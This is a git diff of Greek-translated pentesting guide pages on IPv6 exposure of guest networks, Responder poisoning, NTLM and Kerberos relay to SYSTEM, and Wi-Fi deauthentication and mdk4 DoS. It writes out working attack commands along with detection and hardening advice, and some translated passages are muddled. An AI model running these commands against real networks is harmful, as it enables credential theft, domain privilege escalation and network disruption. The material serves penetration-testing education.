```
Η RA αποκαλύπτει τη διεύθυνση/πρόθεμα link-local του δρομολογητή και συχνά μια παγκόσμια διεύθυνση/πρόθεμα. Εάν είναι γνωστή μόνο μια link-local, θυμηθείτε ότι οι συνδέσεις πρέπει να καθορίζουν τον δείκτη ζώνης, π.χ. `ssh -6 admin@[fe80::1%wlan0]`.
Εναλλακτικά: χρησιμοποιήστε το ndisc6 suite αν είναι διαθέσιμο:
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) Προσέγγιση εκτεθειμένων υπηρεσιών μέσω IPv6 από το SSID επισκεπτών:
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) Αν η διαχείριση του shell παρέχει εργαλεία καταγραφής πακέτων μέσω ενός wrapper (π.χ., tcpdump), ελέγξτε για ένεση ορισμάτων/ονόματος αρχείου που επιτρέπει τη μεταφορά επιπλέον σημαιών tcpdump όπως `-G/-W/-z` για την εκτέλεση εντολών μετά την περιστροφή. Δείτε:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
Αμυντικά/σημειώσεις:
- Μην συνδέετε τη διαχείριση σε γέφυρες επισκεπτών/δημόσιες· εφαρμόστε τείχη προστασίας IPv6 σε γέφυρες SSID.
- Περιορίστε και φιλτράρετε NDP/RS/RA σε τμήματα επισκεπτών όπου είναι εφικτό.
- Για υπηρεσίες που πρέπει να είναι προσβάσιμες, επιβάλετε authN/MFA και ισχυρούς περιορισμούς ρυθμού.
## Αναφορές
@ -304,5 +350,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,8 +9,8 @@
- **LLMNR, NBT-NS, and mDNS**:
- Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS.
- Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP.
- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
- Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να μιμηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
- Περαιτέρω πληροφορίες σχετικά με την μίμηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Web Proxy Auto-Discovery Protocol (WPAD)
@ -20,7 +20,7 @@
### Responder for Protocol Poisoning
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB.
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας σε υπηρεσίες SMB.
- Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`.
- Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`.
- Υποστηρίζει τόσο IPv4 όσο και IPv6.
@ -31,8 +31,8 @@
- Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: `responder -I <Interface>`
- Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I <Interface> -P -r -v`
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I <Interface> --lm --disable-ess`
- Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
- Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
- Η μίμηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
- Τα αιτήματα NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
### DHCP Poisoning with Responder
@ -43,7 +43,7 @@
### Capturing Credentials with Responder
- Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
- Το Responder θα μιμηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
- Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων.
Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση.
@ -64,7 +64,7 @@ Inveigh.exe
Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν:
- Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
- Ο αυθεντικοποιημένος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
- Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη.
#### 445 Port Forwarding and Tunneling
@ -93,7 +93,7 @@ beacon> socks stop
- **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
- **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν είναι απαραίτητο, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
### Λειτουργία MultiRelay
@ -117,7 +117,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
## Επίθεση Kerberos Relay
Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί ακόμη και αν οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/``LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί παρόλο που οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/``LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση.
@ -131,14 +131,14 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
| Token | Σκοπός | Σχέση με Relay |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο |
| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό |
| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν οι SPNs μοιράζονται λογαριασμό |
| **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** |
* Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**.
* Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται σωστά σε `LDAP/HOST`.
* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται κανονικά σε `LDAP/HOST`.
- 2. **Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos**
- 2. **Τι πρέπει να είναι αληθές για να γίνει relay Kerberos**
1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
@ -148,14 +148,14 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
### Βήματα Kerberos Relay
- 3.1 **Αναγνώριση της υποδοχής**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Ξεκινήστε τον δέκτη αναμετάδοσης**
- 3.2 **Ξεκινήστε τον ακροατή αναμετάδοσης**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
@ -173,7 +173,7 @@ DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC
- 3.4 **Μεταφορά του AP-REQ**
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε ένα LDAP bind και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
- 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM**
```powershell
@ -190,8 +190,8 @@ You now own **NT AUTHORITY\SYSTEM**.
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή |
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας |
| **AD CS Web Enroll** | Μεταβιβάστε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* priv-esc; παρακάμπτει το τείχος προστασίας |
| **AD CS Web Enroll** | Μεταφέρετε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
| **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή |
### **Αντιμετώπιση προβλημάτων**
@ -200,14 +200,14 @@ You now own **NT AUTHORITY\SYSTEM**.
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN |
| `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` |
| Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο |
| Αποτυχία σύνδεσης LDAP | Υπογραφή επιβεβλημένη | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή προλάβετε το αρχικό πακέτο |
### **Ανίχνευση**
* Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων.
* **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι πολύ ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
* Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`.
## **Σκληραγώγηση**
@ -215,7 +215,7 @@ You now own **NT AUTHORITY\SYSTEM**.
1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή.
2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών.
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσθήκες υπολογιστών.
5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback.
## Αναφορές

View File

@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Εσωτερικό Wi-Fi Android)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@ -63,14 +64,14 @@ sudo python setup.py install # Install any dependencies
- Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης
- Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα)
- Αν είναι WEP - Εκκίνηση επιθέσεων WEP
- Αν είναι WPA-PSK
- Αν είναι WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
- Αν WEP - Εκκίνηση επιθέσεων WEP
- Αν WPA-PSK
- Αν WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
- Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει
- Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake
- Αν είναι PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς.
- Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς.
## Περίληψη Επιθέσεων
## Επιθέσεις Περίληψη
- **DoS**
- Αποσύνδεση/αποσύνδεση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client)
@ -85,14 +86,14 @@ sudo python setup.py install # Install any dependencies
- **WPA PMKID** brute-force
- \[DoS +] **WPA handshake** σύλληψη + Σπάσιμο
- **WPA-MGT**
- **Σύλληψη Ονόματος Χρήστη**
- **Σύλληψη ονόματος χρήστη**
- **Bruteforce** Διαπιστευτήρια
- **Evil Twin** (με ή χωρίς DoS)
- **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
- **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
- **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό
- **WPA-MGT** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας
- **KARMA, MANA**, **Loud MANA**, **Γνωστό beacon**
- **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
- **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN
- **+ WPA** -- Χρήσιμο για τη σύλληψη WPA handshakes
## DOS
@ -101,21 +102,21 @@ sudo python setup.py install # Install any dependencies
**Περιγραφή από** [**εδώ**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Οι επιθέσεις **Αποσύνδεσης**, μια διαδεδομένη μέθοδος στο hacking Wi-Fi, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, είναι ευρέως χρησιμοποιούμενη και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
Οι επιθέσεις **αποσύνδεσης**, μια διαδεδομένη μέθοδος στο hacking Wi-Fi, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, είναι ευρέως χρησιμοποιούμενη και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
**Αποσύνδεση χρησιμοποιώντας Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0 σημαίνει αποσύνδεση
- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει στείλτε τις συνεχώς
- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα στέλνονται συνεχώς
- -a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης
- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποσύνδεση εκπομπής θα σταλεί (δεν λειτουργεί πάντα)
- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
- ath0 είναι το όνομα της διεπαφής
### Πακέτα Αποσύνδεσης
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης συνήθως αποστέλλονται όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι τη διακοπή σύνδεσης όλων των συνδεδεμένων κόμβων.
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν την αποκοπή της σύνδεσης μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι την αποσύνδεση όλων των συνδεδεμένων κόμβων.
**Αυτή η επίθεση μπορεί να εκτελεστεί με το mdk4(mode "d"):**
```bash
@ -140,7 +141,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ α: Άρνηση Υπηρεσίας Αυθεντικοποίησης**
**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ a: Άρνηση Υπηρεσίας Αυθεντικοποίησης**
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
```bash
@ -152,11 +153,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID Probing and Bruteforcing**
Η εξερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα.
Η διερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα.
**ATTACK MODE m: Michael Countermeasures Exploitation**
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε κλείσιμο του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service).
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε διακοπή του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -169,13 +170,13 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s**
**ATTACK MODE s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s**
Διάφορες επιθέσεις στη διαχείριση συνδέσεων και δρομολόγησης σε δίκτυα πλέγματος.
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ w: Σύγχυση WIDS**
**ATTACK MODE w: Σύγχυση WIDS**
Η διασύνδεση πελατών σε πολλαπλά WDS nodes ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.
Η διασύνδεση πελατών σε πολλαπλούς κόμβους WDS ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -201,9 +202,9 @@ _**Airgeddon**_ προσφέρει τις περισσότερες από τις
- **Reaver** έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS.
